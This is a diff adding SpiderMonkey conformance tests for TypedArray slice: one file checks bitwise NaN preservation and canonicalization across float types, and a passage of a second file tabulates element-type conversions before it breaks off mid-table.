+++ b/js/src/tests/non262/TypedArray/slice-bitwise.js
@@ -0,0 +1,153 @@
+// Copies bytes bit-wise if source and target type are the same.
+// Only detectable when using floating point typed arrays.
+const float32Constructors = anyTypedArrayConstructors.filter(isFloatConstructor)
+ .filter(c => c.BYTES_PER_ELEMENT === 4);
+const float64Constructors = anyTypedArrayConstructors.filter(isFloatConstructor)
+ .filter(c => c.BYTES_PER_ELEMENT === 8);
+
+// Also test with cross-compartment typed arrays.
+const otherGlobal = newGlobal();
+float32Constructors.push(otherGlobal.Float32Array);
+float64Constructors.push(otherGlobal.Float64Array);
+
+function* p(xs, ys) {
+ for (let x of xs) {
+ for (let y of ys) {
+ yield [x, y];
+ }
+ }
+}
+
+const isLittleEndian = new Uint8Array(new Uint16Array([1]).buffer)[0] !== 0;
+
+function geti64(i32, i) {
+ return [i32[2 * i + isLittleEndian], i32[2 * i + !isLittleEndian]];
+}
+
+function seti64(i32, i, [hi, lo]) {
+ i32[i * 2 + isLittleEndian] = hi;
+ i32[i * 2 + !isLittleEndian] = lo;
+}
+
+const NaNs = {
+ Float32: [
+ 0x7F800001|0, // smallest SNaN
+ 0x7FBFFFFF|0, // largest SNaN
+ 0x7FC00000|0, // smallest QNaN
+ 0x7FFFFFFF|0, // largest QNaN
+ 0xFF800001|0, // smallest SNaN, sign-bit set
+ 0xFFBFFFFF|0, // largest SNaN, sign-bit set
+ 0xFFC00000|0, // smallest QNaN, sign-bit set
+ 0xFFFFFFFF|0, // largest QNaN, sign-bit set
+ ],
+ Float64: [
+ [0x7FF00000|0, 0x00000001|0], // smallest SNaN
+ [0x7FF7FFFF|0, 0xFFFFFFFF|0], // largest SNaN
+ [0x7FF80000|0, 0x00000000|0], // smallest QNaN
+ [0x7FFFFFFF|0, 0xFFFFFFFF|0], // largest QNaN
+ [0xFFF00000|0, 0x00000001|0], // smallest SNaN, sign-bit set
+ [0xFFF7FFFF|0, 0xFFFFFFFF|0], // largest SNaN, sign-bit set
+ [0xFFF80000|0, 0x00000000|0], // smallest QNaN, sign-bit set
+ [0xFFFFFFFF|0, 0xFFFFFFFF|0], // largest QNaN, sign-bit set
+ ],
+};
+
+const cNaN = {
+ Float32: new Int32Array(new Float32Array([NaN]).buffer)[0],
+ Float64: geti64(new Int32Array(new Float64Array([NaN]).buffer), 0),
+};
+
+// Float32 -> Float32
+for (let [sourceConstructor, targetConstructor] of p(float32Constructors, float32Constructors)) {
+ let len = NaNs.Float32.length;
+ let f32 = new sourceConstructor(len);
+ let i32 = new Int32Array(f32.buffer);
+ f32.constructor = targetConstructor;
+
+ for (let i = 0; i < len; ++i) {
+ i32[i] = NaNs.Float32[i];
+ }
+
+ let rf32 = f32.slice(0);
+ let ri32 = new Int32Array(rf32.buffer);
+
+ assertEq(rf32.length, len);
+ assertEq(ri32.length, len);
+
+ // Same bits.
+ for (let i = 0; i < len; ++i) {
+ assertEq(ri32[i], NaNs.Float32[i]);
+ }
+}
+
+// Float32 -> Float64
+for (let [sourceConstructor, targetConstructor] of p(float32Constructors, float64Constructors)) {
+ let len = NaNs.Float32.length;
+ let f32 = new sourceConstructor(len);
+ let i32 = new Int32Array(f32.buffer);
+ f32.constructor = targetConstructor;
+
+ for (let i = 0; i < len; ++i) {
+ i32[i] = NaNs.Float32[i];
+ }
+
+ let rf64 = f32.slice(0);
+ let ri32 = new Int32Array(rf64.buffer);
+
+ assertEq(rf64.length, len);
+ assertEq(ri32.length, 2 * len);
+
+ // NaN bits canonicalized.
+ for (let i = 0; i < len; ++i) {
+ assertEqArray(geti64(ri32, i), cNaN.Float64);
+ }
+}
+
+// Float64 -> Float64
+for (let [sourceConstructor, targetConstructor] of p(float64Constructors, float64Constructors)) {
+ let len = NaNs.Float64.length;
+ let f64 = new sourceConstructor(len);
+ let i32 = new Int32Array(f64.buffer);
+ f64.constructor = targetConstructor;
+
+ for (let i = 0; i < len; ++i) {
+ seti64(i32, i, NaNs.Float64[i]);
+ }
+
+ let rf64 = f64.slice(0);
+ let ri32 = new Int32Array(rf64.buffer);
+
+ assertEq(rf64.length, len);
+ assertEq(ri32.length, 2 * len);
+
+ // Same bits.
+ for (let i = 0; i < len; ++i) {
+ assertEqArray(geti64(ri32, i), NaNs.Float64[i]);
+ }
+}
+
+// Float64 -> Float32
+for (let [sourceConstructor, targetConstructor] of p(float64Constructors, float32Constructors)) {
+ let len = NaNs.Float64.length;
+ let f64 = new sourceConstructor(len);
+ let i32 = new Int32Array(f64.buffer);
+ f64.constructor = targetConstructor;
+
+ for (let i = 0; i < len; ++i) {
+ seti64(i32, i, NaNs.Float64[i]);
+ }
+
+ let rf32 = f64.slice(0);
+ let ri32 = new Int32Array(rf32.buffer);
+
+ assertEq(rf32.length, len);
+ assertEq(ri32.length, len);
+
+ // NaN bits canonicalized.
+ for (let i = 0; i < len; ++i) {
+ assertEqArray(ri32[i], cNaN.Float32);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/slice-conversion.js b/js/src/tests/non262/TypedArray/slice-conversion.js
new file mode 100644
index 0000000000..bc44d798c5
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice-conversion.js
@@ -0,0 +1,515 @@
+// Test conversions to different element types.
+let tests = [
+ /* Int8Array */
+ {
+ from: Int8Array,
+ to: Int8Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, -128, -127, -1, 0, 1, 127, -128, -127],
+ },
+ {
+ from: Int8Array,
+ to: Uint8Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, 128, 129, 255, 0, 1, 127, 128, 129],
+ },
+ {
+ from: Int8Array,
+ to: Uint8ClampedArray,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, 0, 0, 0, 0, 1, 127, 0, 0],
+ },
+ {
+ from: Int8Array,
+ to: Int16Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, -128, -127, -1, 0, 1, 127, -128, -127],
+ },
+ {
+ from: Int8Array,
+ to: Uint16Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, 65408, 65409, 65535, 0, 1, 127, 65408, 65409],
+ },
+ {
+ from: Int8Array,
+ to: Int32Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, -128, -127, -1, 0, 1, 127, -128, -127],
+ },
+ {
+ from: Int8Array,
+ to: Uint32Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, 4294967168, 4294967169, 4294967295, 0, 1, 127, 4294967168, 4294967169],
+ },
+ {
+ from: Int8Array,
+ to: Float32Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, -128, -127, -1, 0, 1, 127, -128, -127],
+ },
+ {
+ from: Int8Array,
+ to: Float64Array,
+ values: [-129, -128, -127, -1, 0, 1, 127, 128, 129],
+ expected: [127, -128, -127, -1, 0, 1, 127, -128, -127],
+ },
+
+ /* Uint8Array */
+ {
+ from: Uint8Array,
+ to: Int8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, -128, -127, -2, -1, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Uint8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Uint8ClampedArray,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Int16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Uint16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Int32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Uint32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Float32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+ {
+ from: Uint8Array,
+ to: Float64Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0],
+ },
+
+ /* Uint8ClampedArray */
+ {
+ from: Uint8ClampedArray,
+ to: Int8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, -128, -127, -2, -1, -1],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Uint8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Uint8ClampedArray,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Int16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Uint16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Int32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Uint32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Float32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Float64Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+
+ /* Int16Array */
+ {
+ from: Int16Array,
+ to: Int8Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [-1, 0, 1, 127, -128, -127, -1, 0, 1, 127, -128, -127, -1, 0, 1],
+ },
+ {
+ from: Int16Array,
+ to: Uint8Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [255, 0, 1, 127, 128, 129, 255, 0, 1, 127, 128, 129, 255, 0, 1],
+ },
+ {
+ from: Int16Array,
+ to: Uint8ClampedArray,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [255, 0, 0, 0, 0, 0, 0, 0, 1, 127, 128, 129, 255, 0, 0],
+ },
+ {
+ from: Int16Array,
+ to: Int16Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, -32768, -32767],
+ },
+ {
+ from: Int16Array,
+ to: Uint16Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, 32768, 32769, 65407, 65408, 65409, 65535, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ },
+ {
+ from: Int16Array,
+ to: Int32Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, -32768, -32767],
+ },
+ {
+ from: Int16Array,
+ to: Uint32Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, 4294934528, 4294934529, 4294967167, 4294967168, 4294967169, 4294967295, 0, 1, 127, 128, 129, 32767, 4294934528, 4294934529],
+ },
+ {
+ from: Int16Array,
+ to: Float32Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, -32768, -32767],
+ },
+ {
+ from: Int16Array,
+ to: Float64Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, -32768, -32767],
+ },
+
+ /* Uint16Array */
+ {
+ from: Uint16Array,
+ to: Int8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, -128, -127, -2, -1, 0, -1, 0, 1, -2, -1, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Uint8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0, 255, 0, 1, 254, 255, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Uint8ClampedArray,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255, 255, 255, 255, 255, 255, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Int16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, -32768, -32767, -2, -1, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Uint16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Int32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Uint32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Float32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Float64Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0],
+ },
+
+ /* Int32Array */
+ {
+ from: Int32Array,
+ to: Int8Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [-1, 0, 1, -1, 0, 1, 127, -128, -127, -1, 0, 1, 127, -128, -127, -1, 0, 1, -1, 0, 1],
+ },
+ {
+ from: Int32Array,
+ to: Uint8Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [255, 0, 1, 255, 0, 1, 127, 128, 129, 255, 0, 1, 127, 128, 129, 255, 0, 1, 255, 0, 1],
+ },
+ {
+ from: Int32Array,
+ to: Uint8ClampedArray,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 127, 128, 129, 255, 255, 255, 255, 0, 0],
+ },
+ {
+ from: Int32Array,
+ to: Int16Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [-1, 0, 1, 32767, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, -32768, -32767, -1, 0, 1],
+ },
+ {
+ from: Int32Array,
+ to: Uint16Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [65535, 0, 1, 32767, 32768, 32769, 65407, 65408, 65409, 65535, 0, 1, 127, 128, 129, 32767, 32768, 32769, 65535, 0, 1],
+ },
+ {
+ from: Int32Array,
+ to: Int32Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [2147483647, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, -2147483648, -2147483647],
+ },
+ {
+ from: Int32Array,
+ to: Uint32Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [2147483647, 2147483648, 2147483649, 4294934527, 4294934528, 4294934529, 4294967167, 4294967168, 4294967169, 4294967295, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ },
+ {
+ from: Int32Array,
+ to: Float32Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [2147483648, -2147483648, -2147483648, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483648, -2147483648, -2147483648],
+ },
+ {
+ from: Int32Array,
+ to: Float64Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [2147483647, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, -2147483648, -2147483647],
+ },
+
+ /* Uint32Array */
+ {
+ from: Uint32Array,
+ to: Int8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, -128, -127, -2, -1, 0, -1, 0, 1, -2, -1, 0, -1, 0, 1, -2, -1, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Uint8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0, 255, 0, 1, 254, 255, 0, 255, 0, 1, 254, 255, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Uint8ClampedArray,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Int16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, -32768, -32767, -2, -1, 0, -1, 0, 1, -2, -1, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Uint16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0, 65535, 0, 1, 65534, 65535, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Int32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, -2147483648, -2147483647, -2, -1, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Uint32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Float32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483648, 2147483648, 2147483648, 4294967296, 4294967296, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Float64Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 0],
+ },
+
+ /* Float32Array */
+ {
+ from: Float32Array,
+ to: Int8Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, -1, 0, 1, 127, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, -128, -127, -1, 0, 1, 0, 0, 0, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Uint8Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, 255, 0, 1, 127, 128, 129, 255, 255, 255, 255, 0, 0, 1, 1, 1, 1, 127, 128, 129, 255, 0, 1, 0, 0, 0, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Uint8ClampedArray,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 127, 128, 129, 255, 255, 255, 255, 255, 255, 255, 0],
+ },
+ {
+ from: Float32Array,
+ to: Int16Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, 32767, -32768, -32767, -129, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, -32768, -32767, 0, 0, 0, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Uint16Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, 32767, 32768, 32769, 65407, 65408, 65409, 65535, 65535, 65535, 65535, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, 0, 0, 0, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Int32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, -2147483648, -2147483648, -2147483648, -32769, -32768, -32767, -129, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, -2147483648, -2147483648, -2147483648, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Uint32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 2147483648, 2147483648, 2147483648, 4294934527, 4294934528, 4294934529, 4294967167, 4294967168, 4294967169, 4294967295, 4294967295, 4294967295, 4294967295, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, 2147483648, 2147483648, 2147483648, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Float32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [-Infinity, -2147483648, -2147483648, -2147483648, -32769, -32768, -32767, -129, -128, -127, -1.600000023841858, -1.5, -1.399999976158142, -1, -0, 0, 1, 1.399999976158142, 1.5, 1.600000023841858, 127, 128, 129, 32767, 32768, 32769, 2147483648, 2147483648, 2147483648, Infinity, NaN],
+ },
+ {
+ from: Float32Array,
+ to: Float64Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [-Infinity, -2147483648, -2147483648, -2147483648, -32769, -32768, -32767, -129, -128, -127, -1.600000023841858, -1.5, -1.399999976158142, -1, -0, 0, 1, 1.399999976158142, 1.5, 1.600000023841858, 127, 128, 129, 32767, 32768, 32769, 2147483648, 2147483648, 2147483648, Infinity, NaN],
+ },
+
+ /* Float64Array */
+ {
+ from: Float64Array,
+ to: Int8Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, -1, 0, 1, -1, 0, 1, 127, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, -128, -127, -1, 0, 1, -1, 0, 1, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Uint8Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 255, 0, 1, 255, 0, 1, 127, 128, 129, 255, 255, 255, 255, 0, 0, 1, 1, 1, 1, 127, 128, 129, 255, 0, 1, 255, 0, 1, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Uint8ClampedArray,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 127, 128, 129, 255, 255, 255, 255, 255, 255, 255, 0],
+ },
+ {
